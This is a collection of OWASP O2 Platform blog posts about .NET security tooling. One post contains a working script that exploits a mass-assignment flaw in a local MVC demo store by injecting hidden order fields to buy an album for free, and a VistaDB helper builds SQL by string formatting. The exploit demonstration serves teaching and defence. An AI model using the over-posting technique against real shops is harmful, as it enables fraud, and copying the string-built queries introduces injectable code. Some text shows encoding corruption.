OWASP O2 Platform Blog

How to use the Console output in the C# REPL

The VisualStudio C# REPL РO2 Platform can be downloaded here. From the download link you get a Visual Studio Extension (.vsix file extension).

Image

Since this REPL is a great tool for developers, I wanted to use the Console output feature, the following code snippet shows how to achieve this functionability:

var topPanel = "Util - ConsoleOut".popupWindow(500,300);
topPanel.add_ConsoleOut();
//O2File:API_ConsoleOut.cs
Console.WriteLine("This text should be displayed in the Console");

This code produces the following output:

Image

This is a powerful (and easy) feature that can help us to take advantage of the time ūüôā

November 9, 2012 Posted by | .NET, Uncategorized, VisualStudio | , , | Leave a comment

FxCop Security rules : A nice to have feature on top of O2 platform

While we have seen the¬† effect of¬†¬† static analysis at run time in the community, which¬† was first described with a PoC¬† using Microsoft’s static analysis tool CAT.NET ¬† and OWASP O2 Platform on top o Visual Studio .Net, we strongly believe¬† on the value added of using O2 platform as a part of our development work.

In this same way,  a really nice to have feature would be an integration with FxCop . Namely,  FxCop analyzes managed code  and reports information about those assemblies. It analyzes several  areas including : COM, Design, Globalization,  Naming, Performance, Security and Usage. 

The latest version of FxCop was  included as a part of the Microsoft Windows SDK for Windows 7 and .NET Framework 4

Here you have some useful links with all the information  about this tool:

  1. For downloading it:
    http://blogs.msdn.com/b/codeanalysis/archive/2010/07/26/fxcop-10-0-is-available.aspx
  2. The  ISO files can also be  downloaded from the below link:
    http://www.microsoft.com/en-us/download/details.aspx?id=8442
  3. FxCop ASP.NET Security Rules : This is a really interesting project hosted at CodePlex and it offers  a set of rules for ASP.NET applications:
  4. http://fxcopaspnetsecurity.codeplex.com/

It would be great to have those security  rules available on O2 Platform and why not via real-time analysis :).

FxCop ASP.NET Security rules

FxCop ASP.NET Security rules

July 19, 2012 Posted by | .NET, Tools | , , | 1 Comment

NuGet packages for OWASP O2 Platform

NuGet is a really interesting mechanism to install plugins on top of you Visual Studio project in a really  straightforward way. Dinis Cruz made the first components of O2 Platform available in a NuGet package.

Now¬† NuGet presents a new paradigm to install useful tools and avoid all the complication of the XML configurations that usually is a pain.¬† It’s really interesting to have all the OWASP O2 functionality available in this way. I bet this is going to be a better way to make it available in future releases or in the way we¬† will publish features on top of¬† Visual Studio .Net.

The below image  show our look up :

Managing NuGet packages

Managing NuGet packages

Now we are going to look for our OWASP O2 packages:

OWASP O2 at NuGet

OWASP O2 at NuGet

In order to simplify our lives, this mechanism is a really good option :).

July 4, 2012 Posted by | .NET | , , | Leave a comment

Real-time Vulnerability Creation Feedback inside VisualStudio

There is a really interesting video that shows how to perform static analysis of code at the compilation time on top of Visual Studio.Net.  The creation of this mechanism is really powerful , because at compilation time, you can find and correct most of the security holes we can create. Just imaging the valued added that this process can provide to a large software development projects?.

The complete information can be found at http://diniscruz.blogspot.com/2012/06/real-time-vulnerability-creation.html?utm_source=feedburner&utm_medium=email&utm_campaign=Feed%3A+DinisCruz+%28Dinis+Cruz+blog%29

And there is also a reddit thread if you want to get involved (I hope you are want).

June 22, 2012 Posted by | .NET, .NET SAST, VisualStudio | , | Leave a comment

New reddit community for OWASP O2 and Cat.Net

A new community has been created on Reddit  for supporting Cat.Net , the static analysis engine created by Microsoft (but in the last year it has lack of support). We see an opportunity here to involve OWASP O2 platform and add value to our project in this new path of source code analysis.

Join this community today!

Reddit community

For more information visit http://diniscruz.blogspot.com/2012/06/new-reddit-community-for-catnet.html

June 13, 2012 Posted by | .NET SAST, O2 Scripting | , , | Leave a comment

Installing O2’s Visual Studio Add-in, Script environment in Visual Studio IDE

Here is a video on how can we install the OWASP O2 add-in on top of VisuaL Studio , the video can be found at:

http://diniscruz.blogspot.co.uk/2012/05/video-installing-o2s-visualstudio-2010.html

By the way, the Visual Studio add-in is located in your local copy of OWASP O2 Platform, in the O2.Platform.Projects folder there should be a  Visual Studio Project named O2.VisualStudio.AddIn . The .AddIn file can be found in the binaries folder.

Visual Studio Addin

Visual Studio Addin

Once you have installed  the Add-in, you will be able to use this powerful tool on top of Visual Studio IDE.

May 25, 2012 Posted by | .NET, Uncategorized, VisualStudio | , , | 1 Comment

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added¬† of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.

Background

The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:

ASP.NET MVC MUSIC STORE

ASP.NET MVC MUSIC STORE

O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");
ie.field("UserName").value(username);
ie.field("Email").value(email);
ie.field("Password").value(password);
ie.field("ConfirmPassword").value(password);
ie.button("Register").click();
};

Action loginAsTestUser =
()=>{
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);

};

Action selectTestProductAndCheckout =
()=>{
ie.link("Rock").scrollIntoView().flash().click();
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();

};

Action populateSubmitOrder =
()=>{
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code

ie.field("Address").value(Address);
ie.field("City").value(City);
ie.field("Country").value(Country);
ie.field("Email").value(Email);
ie.field("FirstName").value(FirstName);
ie.field("LastName").value(LastName);
ie.field("Phone").value(Phone);
ie.field("PostalCode").value(PostalCode);
ie.field("PromoCode").value(PromoCode);
ie.field("State").value(State);
};

Action submitOrder =
()=>{
ie.button("Submit Order").click();
};

Action createOrderUsingTestUser =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();
submitOrder();
};

Action injectField =
(fieldName, value)=>{
ie.field("FirstName")
.injectHtml_afterEnd("
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));
};

Action runExploit_1 =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();

//the following simulates adding this to the POST request following URI Convention:
//OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5&
injectField("OrderDetails[0].OrderDetailId","1");
injectField("OrderDetails[0].OrderId","1");
injectField("OrderDetails[0].AlbumId","1");
injectField("OrderDetails[0].Quantity","1");
injectField("OrderDetails[0].UnitPrice","0");
submitOrder();
ie.open(site + "/OrderDetails");
};

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//O2Tag_DontAddExtraO2Files;

If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?


If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
[DataType(DataType.EmailAddress)]
public string Email { get; set; }
[ScaffoldColumn(false)]
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 Posted by | .NET, ASP.NET MVC, Fixing Code, IE Automation, Vulnerabilities, WatiN | , , , | 5 Comments

Using O2 Platform and HacmeBank

Michael from the OWASP Costa Rica chapter wrote a great article about O2 and his first use of using it to automate HacmeBank’s login sequence:¬†Starting with OWASP O2 Platform : a short step in a long journey

In reply I wrote Using O2 with HacmeBank which gives an overview of what you can do today with O2+HacmeBank  (and ideas for where to go next)

May 6, 2012 Posted by | .NET, HacmeBank | Leave a comment

VistaDB API and GUI (as used by Checkmarx SAST engine)

O2 now supports the VistaDB, which is a pure .NET embeded database used by applications like Checkmarx (who use it to support their SAST Web Application).

After using it a bit, I have to say that VistaDB seams like a really nice solution, since it is really a xcopy-based-relational-database with full SQL support.

To add support to VistaDB in O2, all that was needed was to grab the API_SqlServer.cs script and changed the Sql classes to their equivalent VistaDB classes (for example SqlConnection became VistaDBConnection).

Since VistaDB is not an open source project, you will need to have access to their eval download, or to an application that uses it (note how  used the VistaDB.NET20.dll from the Checkmarx install folder)

Util – VistaDB Browser.h2

//var topPanel = panel.clear().add_Panel();
var topPanel = O2Gui.open<Panel>("Sql Info",900,500);
topPanel.insert_Below(100).add_LogViewer();
var vistaDb = new API_VistaDB();
var show= false;
show = true;
TabControl tabControl = null;
Action loadDataFromCurrentConnection = 
    ()=>{
            tabControl.remove_Tab("Database details viewer");
            tabControl.remove_Tab("Table's Schema");
            tabControl.remove_Tab("Table's Data");
            tabControl.remove_Tab("Stored Procedures");
            vistaDb.add_Viewer_DataBases(tabControl.add_Tab("Database details viewer"));
            vistaDb.add_Viewer_Tables(tabControl.add_Tab("Table's Schema"));
            vistaDb.add_Viewer_TablesData(tabControl.add_Tab("Table's Data"));

        };



if(show)
{
    tabControl = topPanel.add_TabControl();    
    vistaDb.add_ConnectionStringTester(tabControl.add_Tab("Test/Set SqlConnection string"), loadDataFromCurrentConnection);
    vistaDb.add_GUI_SqlCommandExecute(tabControl.add_Tab("Execute SQL Commands"));                        
}



//O2Ref:System.Data.dll
//O2File:API_VistaDB.cs
//O2Tag_DontAddExtraO2Files

 
API_VistaDB.cs

using System;
using System.Data;
using System.Xml.Serialization;
using System.Linq;
using System.Drawing;
using System.Windows.Forms;
using System.Collections.Generic;
using O2.Interfaces.O2Core;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.ExtensionMethods;
using O2.External.SharpDevelop.ExtensionMethods;
using O2.Views.ASCX.ExtensionMethods;
using O2.XRules.Database.Utils;
using VistaDB.Provider;
//O2Ref:C:\Program Files\Checkmarx\Checkmarx Engine Server\VistaDB.NET20.dll</pre>
namespace O2.XRules.Database.APIs
{
    public class API_VistaDB_Test
    {
        public void launchTestGui()
        {
            "Util - VistaDB Browser.h2".local().executeH2Script();
        }
    }

    public class API_VistaDB
    {  
        public string ConnectionString { get;set; }
        public string LastError { get; set; }
       
        public API_VistaDB()
        {
            ConnectionString = @"data source='C:\Program Files\Checkmarx\Checkmarx Application Server\CxDB.vdb3'";     //default to this one           
        }       
       
        public API_VistaDB(string connectionString)
        {
            ConnectionString = connectionString;
        }
    }
   
    public class Database
    {
        public API_VistaDB VistaDB { get; set; }
        public string Name { get; set; }       
        public List<Table> Tables { get; set; }
        public List<StoredProcedure> StoredProcedures { get; set; }
       
        public Database(string name)
        {
            Name = name.trim();
            Tables = new List<Table>();
            StoredProcedures = new List<StoredProcedure>();
        }
       
        public Database(API_VistaDB vistaDB, string name) : this (name)
        {
            VistaDB = vistaDB;
       
        }
    }
   
    public class Table
    {
        [XmlIgnore] public API_VistaDB VistaDB { get; set; }               
//        public string Catalog {get;set;}
//        public string Schema {get;set;}
        public string Name {get;set;}
//        public string Type {get;set;}
        public List<Table_Column> Columns {get;set;}
       
        public DataTable TableData { get; set; }
       
        public Table()
        {
            Columns = new List<Table_Column>();
        }
       
        public override string ToString()
        {
            /*return (Schema.valid())
                        ? "{0}.{1}".format(Schema, Name)
                        : Name;*/
            return Name;           
        }
    }
   
    public class Table_Column
    {
        //name, typeId, objectId,options , scriptValue
        public string Name { get; set; }       
        public string TypeId { get; set; }       
        public string ObjectId { get; set; }       
        public string Options { get; set; }       
        public string ScriptValue     { get; set; }       
       
        public override string ToString()
        {
            //return "{0} ({1})".format(Name, DataType);
            return "{0} ({1})".format(Name);
        }
    }
   
    public class StoredProcedure
    {
        public string Schema {get;set;}
        public string Name {get;set;}
        public string Value {get;set;}
       
        public StoredProcedure(string schema, string name, string value)
        {
            Schema = schema;
            Name = name;
            Value = value;
        }
       
        public StoredProcedure(string name, string value) : this("",name, value)
        {
           
        }
       
        public override string ToString()
        {
            return (Schema.valid())
                        ? "{0}.{1}".format(Schema, Name)
                        : Name;
        }
    }
   
    //add these queries should be done using Linq
    public static class API_VistaDB_Helps
    {
        public static Database database(this API_VistaDB vistaDB, string name)
        {
            return new Database(vistaDB, name);
        }
    }
    public static class API_VistaDB_getData
    {
        public static List<string> database_Names(this API_VistaDB vistaDB)
        {
            var sqlQuery = "select * from [database schema] where typeid = 1";
            return (from DataRow row in vistaDB.executeReader(sqlQuery).Rows
                    select row["name"].str()).toList();
        }
       
        public static List<string> column_Names(this Table table)
        {
            return (from column in table.columns()
                       select column.Name).toList();
        }
       
        public static List<Table> tables(this API_VistaDB vistaDb)
        {           
            return vistaDb.database("").tables();
        }
       
        public static List<Table> tables(this Database database)
        {           
            if (database.Tables.size() ==0)
                database.map_Tables();
            return database.Tables;
        }
       
        public static Table table(this API_VistaDB vistaDb, string name)
        {
            return vistaDb.database("").table(name);
        }
       
        public static Table table(this Database database, string name)
        {           
            return (from table in database.tables()
                    where table.Name.trim() == name
                    select table).first();
        }
       
       
        public static List<Table_Column> columns(this Table table)
        {
            return table.Columns;
        }
    }
   
    public static class API_VistaDB_PopulateData
    {
        public static Database map_StoredProcedures(this Database database)
        {       
            var sqlQuery = "select Specific_Schema, Specific_Name, Routine_Definition  from {0}.Information_Schema.Routines".format(database.Name);
            var storedProceduresData = database.VistaDB.executeReader(sqlQuery);           
            foreach(DataRow row in storedProceduresData.Rows)
                database.StoredProcedures.Add(new StoredProcedure(row.ItemArray[0].str(),row.ItemArray[1].str(),row.ItemArray[2].str()));
            return database;
        }   
       
        public static Database map_Tables(this API_VistaDB vistaDB)
        {
            return vistaDB.database("").map_Tables();
        }
       
        public static Database map_Tables(this Database database)
        {       
            var sqlQuery = "select * from [database schema] where typeid = 1".format();
            var tables = database.VistaDB.executeReader(sqlQuery);           
            foreach(DataRow row in tables.Rows)
                database.Tables.Add(new Table(){
                                                    VistaDB = database.VistaDB,
//                                                    Catalog = row.ItemArray[0].str(),
//                                                    Schema = row.ItemArray[1].str(),
                                                    Name = row["name"].str().trim()
//                                                    Type = row.ItemArray[3].str()
                                                    });
            return database;
        }   
       
        public static Database map_Table_Columns(this Database database)
        {       
            foreach(var table in database.tables())
            {           
                //var sqlQuery = "select Column_Name, Column_Default, Is_Nullable, Data_Type, Character_Maximum_Length from {0}.Information_Schema.Columns where table_Schema='{1}' and table_name='{2}'"
                //                    .format(table.Catalog, table.Schema,table.Name);
                               
                var objectId = database.VistaDB.executeScalar("select objectId from [database schema] where typeid = 1 and name ='{0}' ".format(table.Name));
                var sqlQuery = "select name, typeId, objectId,options , scriptValue from [database schema] where foreignReference = '{0}' ".format(objectId);
                
                var columns = database.VistaDB.executeReader(sqlQuery);           
               
                foreach(DataRow row in columns.Rows)
                    table.Columns.Add(new Table_Column(){
                                                        Name =  row.ItemArray[0].str().trim(),
                                                        TypeId = row.ItemArray[1].str().trim(),
                                                        ObjectId = row.ItemArray[2].str().trim(),
                                                        Options = row.ItemArray[3].str().trim(),
                                                        ScriptValue = row.ItemArray[4].str().trim()
                                                        });
            }
            return database;
        }
       
        public static API_VistaDB map_Table_Data(this API_VistaDB vistaDB, Table table)
        {
//            var sqlQuery = "select * from [{0}].[{1}].[{2}]".format(table.Catalog,table.Schema, table.Name);               
            var sqlQuery = "select * from {0}".format(table.Name);                           
            table.TableData = vistaDB.executeReader(sqlQuery);
            return vistaDB;
        }
       
        public static Database map_Table_Data(this Database database, Table table)
        {
            database.VistaDB.map_Table_Data(table);
            return database;
        }
        public static Database map_Table_Data(this Database database)
        {
            "Mapping table data".info();
            var timer = new O2Timer("Mapped tabled data").start();
            foreach(var table in database.tables())                   
                database.map_Table_Data(table);
            timer.stop();
            return database;               
        }
       
        public static DataTable dataTable(this Table table)
        {
            if (table.isNull())
                return null;
            table.VistaDB.map_Table_Data(table);
            return table.TableData;
        }       
       
        public static string xml(this Table table)
        {           
            var dataSet = new DataSet();
            dataSet.Tables.Add(table.dataTable());
            return dataSet.GetXml();
        }
    }
   
    public static class API_VistaDB_Queries
    {
        public static VistaDBConnection getOpenConnection(this API_VistaDB vistaDB)
        {                       
            "[API_VistaDB] Opening Connection".info();
            try
            {
                var sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);           
                sqlConnection.Open();
                return sqlConnection;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }           
            return null;
        }
       
        public static VistaDBConnection closeConnection(this API_VistaDB vistaDB, VistaDBConnection sqlConnection)
        {                       
            "[API_VistaDB] Closing Connection".info();
            try
            {               
                sqlConnection.Close();
                return sqlConnection;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }           
            return null;
        }
       
        public static API_VistaDB executeNonQuery(this API_VistaDB vistaDB, VistaDBConnection sqlConnection, string command)
        {           
            "[API_VistaDB] Executing Non Query: {0}".info(command);
            try
            {
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                sqlCommand.ExecuteNonQuery();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            return vistaDB;
        }
       
        public static API_VistaDB executeNonQuery(this API_VistaDB vistaDB, string command)
        {       
            "[API_VistaDB] Executing Non Query: {0}".info(command);
            VistaDBConnection sqlConnection = null;
            try
            {
                sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);           
                sqlConnection.Open();
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                sqlCommand.ExecuteNonQuery();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                if (sqlConnection.notNull())
                    sqlConnection.Close();
            }
            return vistaDB;
        }
       
        public static object executeScalar(this API_VistaDB vistaDB, string command)
        {   
            "[API_VistaDB] Executing Scalar: {0}".info(command);
            VistaDBConnection sqlConnection = null;
            try
            {
                sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);
                sqlConnection.Open();
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                return sqlCommand.ExecuteScalar();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                sqlConnection.Close();
            }
            return null;
        }
       
        public static DataTable executeReader(this API_VistaDB vistaDB, string command)
        {
            var sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);
            sqlConnection.Open();
            try
            {
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                var reader =  sqlCommand.ExecuteReader();
                var dataTable = new DataTable();
                dataTable.Load(reader);
                return dataTable;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                if (sqlConnection.notNull())
                    sqlConnection.Close();
            }
            return null;
        }
    }
       
    public static class API_VistaDB_GUI_Controls
    {
        public static T add_ConnectionStringTester<T>(this API_VistaDB vistaDB , T control, Action afterConnect)
            where T : Control
        {
            control.clear();
            var connectionString = control.add_GroupBox("Connection String").add_TextArea();
            var connectionStringSamples = connectionString.parent().insert_Left<Panel>(200).add_GroupBox("Sample Connection Strings")
                                                          .add_TreeView()
                                                          .afterSelect<string>((text)=> connectionString.set_Text(text));
            var connectPanel = connectionString.insert_Below<Panel>(200);
            var button = connectPanel.insert_Above<Panel>(25).add_Button("Connect").fill(); 
            var response = connectPanel.add_GroupBox("Response").add_TextArea();                       
           
            button.onClick(()=>{
                                    try
                                    {
                                        var text = connectionString.get_Text();
                                        vistaDB.ConnectionString = text;
                                        response.set_Text("Connecting using: {0}".format(text));
                                        var sqlConnection = new VistaDBConnection(text);
                                        sqlConnection.Open();
                                        response.set_Text("Connected ok");
                                        afterConnect();
                                    }
                                    catch(Exception ex)
                                    {
                                        vistaDB.LastError = ex.Message;
                                        response.set_Text("Error: {0}".format(ex.Message));
                                    }                       
                                   
                                });
           
            //connectionString.set_Text(@"Data Source=.\SQLExpress;Trusted_Connection=True");
            var sampleConnectionStrings = new List<string>();
            //from <a href="http://www.connectionstrings.com/sql-server-2005">http://www.connectionstrings.com/sql-server-2005</a>
            sampleConnectionStrings.add(@"data source='C:\Program Files\Checkmarx\Checkmarx Application Server\CxDB.vdb3'")
                                   .add(@"Data Source=.\SQLExpress;Trusted_Connection=True")
                                   .add(@"Data Source=myServerAddress;Initial Catalog=myDataBase;Integrated Security=SSPI")                                                  
                                   .add(@"Data Source=myServerAddress;Initial Catalog=myDataBase;User Id=myUsername;Password=myPassword;")
                                   .add(@"Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=myDataBase;User ID=myUsername;Password=myPassword;")
                                   .add(@"Server=.\SQLExpress;AttachDbFilename=c:\mydbfile.mdf;Database=dbname; Trusted_Connection=Yes;")
                                   .add(@"Server=.\SQLExpress;AttachDbFilename=|DataDirectory|mydbfile.mdf; Database=dbname;Trusted_Connection=Yes;")
                                   .add(@"Data Source=.\SQLExpress;Integrated Security=true; AttachDbFilename=|DataDirectory|\mydb.mdf;User Instance=true;");
                                  
            connectionStringSamples.add_Nodes(sampleConnectionStrings).selectFirst();             
           
            button.click();
            return control;
           
        }
               
       
        public static API_VistaDB add_Viewer_QueryResult<T>(this API_VistaDB vistaDB , T control, string sqlQuery)
            where T : Control
        {    
            control.clear();
            var dataTable = vistaDB.executeReader(sqlQuery);            
            var dataGridView = control.add_DataGridView();
            dataGridView.DataError+= (sender,e) => { // " dataGridView error: {0}".error(e.Context);
                                                   };
            dataGridView.invokeOnThread(()=> dataGridView.DataSource = dataTable );           
            return vistaDB;
        }
       
        public static API_VistaDB add_Viewer_DataBases<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            var sqlQuery = "select * from [database schema] where typeid = 1";
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_Tables_Raw<T>(this API_VistaDB vistaDB , T control, string databaseName)
            where T : Control
        {
            var objectId = vistaDB.executeScalar("select objectId from [database schema] where typeid = 1 and name ='{0}'".format(databaseName));
           
            var sqlQuery = "select * from [database schema] where typeid = 3 and foreignReference ='{0}'".format(objectId);
           
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_StoredProcedures_Raw<T>(this API_VistaDB vistaDB , T control, string databaseName)
            where T : Control
        {
       
            var sqlQuery = "select * from {0}.Information_Schema.Routines".format(databaseName);
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_StoredProcedures<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            control.clear();
            Database currentDatabase = null;
            var value = control.add_TextArea();   
            var storedProcedure_Names = value.insert_Left<Panel>(200).add_TreeView().sort();
            var database_Names = storedProcedure_Names.insert_Above<Panel>(100).add_TreeView().sort();
           
            var filter = storedProcedure_Names.insert_Above(20)
                                              .add_TextBox("Filter:","")
                                                .onTextChange((text)=>{
                                                                            storedProcedure_Names.clear();
                                                                            var result = (from storedProcedure in currentDatabase.StoredProcedures
                                                                                          where storedProcedure.Name.regEx(text)
                                                                                          select storedProcedure);
                                                                            storedProcedure_Names.add_Nodes(result);
                                                                        });
           
            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    value.set_Text("");
                                    currentDatabase = new Database(vistaDB, database_Name);
                                    currentDatabase.map_StoredProcedures();                                   
                                    storedProcedure_Names.clear();                       
                                    storedProcedure_Names.add_Nodes(currentDatabase.StoredProcedures);
                                    storedProcedure_Names.selectFirst();
                                 });
           
            storedProcedure_Names.afterSelect<StoredProcedure>(
                (storedProcedure) => value.set_Text(storedProcedure.Value) );
           
            database_Names.add_Nodes(vistaDB.database_Names());
           
            database_Names.selectFirst();
            return vistaDB;
        }
       
       
        public static API_VistaDB add_Viewer_Tables<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {       
            control.clear();
            var value = control.add_TableList();   
            var tables_Names = value.insert_Left<Panel>(200).add_TreeView().sort();            
//            var database_Names = tables_Names.insert_Above<Panel>(100).add_TreeView().sort();
/*            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    tables_Names.backColor(Color.Salmon);
                                    O2Thread.mtaThread(
                                        ()=>{
                                                value.set_Text("");
                                                var database = new Database(vistaDB, database_Name);                                   
                                                database.map_Tables()
                                                        .map_Table_Columns();
                                                tables_Names.clear();                       
                                                tables_Names.add_Nodes(database.Tables);
                                                tables_Names.selectFirst();
                                                tables_Names.backColor(Color.White);
                                            });    
                                 });
*/           
            tables_Names.afterSelect<Table>(
                (table) => value.show(table.Columns) );
           
//            database_Names.add_Nodes(vistaDB.database_Names());
           
//            database_Names.selectFirst();

            var database = new Database(vistaDB, "");                                   
            database.map_Tables()
                    .map_Table_Columns();
            tables_Names.clear();                       
            tables_Names.add_Nodes(database.Tables);
            tables_Names.selectFirst();
            tables_Names.backColor(Color.White);

            return vistaDB;
        }
       
        public static API_VistaDB add_Viewer_TablesData<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {       
            control.clear();
            var dataGridView = control.add_DataGridView();
           
            dataGridView.DataError+= (sender,e) => {}; //" dataGridView error: {0}".error(e.Context);};
            var tables_Names = dataGridView.insert_Left<Panel>(200).add_TreeView().sort();            
            var database_Names = tables_Names.insert_Above<Panel>(100).add_TreeView().sort();
            var preloadAllData = false;
            tables_Names.insert_Below(20).add_CheckBox("Preload all data from database",0,0,(value)=>preloadAllData = value).autoSize();//.check();
            var rowData = dataGridView.insert_Below<Panel>(100).add_SourceCodeViewer();
            var rowDataField = rowData.insert_Left<Panel>(100).add_TreeView();
            var selectedField = "";
           
            rowDataField.afterSelect<DataGridViewCell>(
                (cell)=>{
                            selectedField = rowDataField.selected().get_Text();
                            var fieldContent = cell.Value.str().fixCRLF();
                            if (fieldContent.starts("<?xml"))
                            {   
                                "mapping xml".info();
                                fieldContent = fieldContent.xmlFormat();
                                rowData.set_Text(fieldContent,"a.xml");
                            }
                            else
                                rowData.set_Text(fieldContent);
                        });
           
            dataGridView.afterSelect(
                (row)=> {                                                                                   
                            rowDataField.clear();
                            //rowData.set_Text("");
                            foreach(DataGridViewCell cell in row.Cells)
                            {
                                var fieldName = dataGridView.Columns[cell.ColumnIndex].Name;
                                var node = rowDataField.add_Node(fieldName,cell);
                                if (fieldName == selectedField)
                                    node.selected();
                            }
                            if (rowDataField.selected().isNull())
                                rowDataField.selectFirst();                                                                                       
                        });
                       
            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    tables_Names.backColor(Color.Salmon);
                                    O2Thread.mtaThread(
                                        ()=>{
                                                var database = new Database(vistaDB, database_Name);                                   
                                                database.map_Tables();
                                                if (preloadAllData)                                                                                           
                                                    database.map_Table_Data();                                               
                                                tables_Names.clear();                       
                                                tables_Names.add_Nodes(database.Tables);
                                                tables_Names.selectFirst();
                                                tables_Names.backColor(Color.White);
                                               
                                                database_Names.splitContainer().panel1Collapsed(true);
                                            });
                                 });
           
            Action<Table> loadTableData =
                (table)=>{
                            tables_Names.backColor(Color.Salmon);
                            O2Thread.mtaThread(
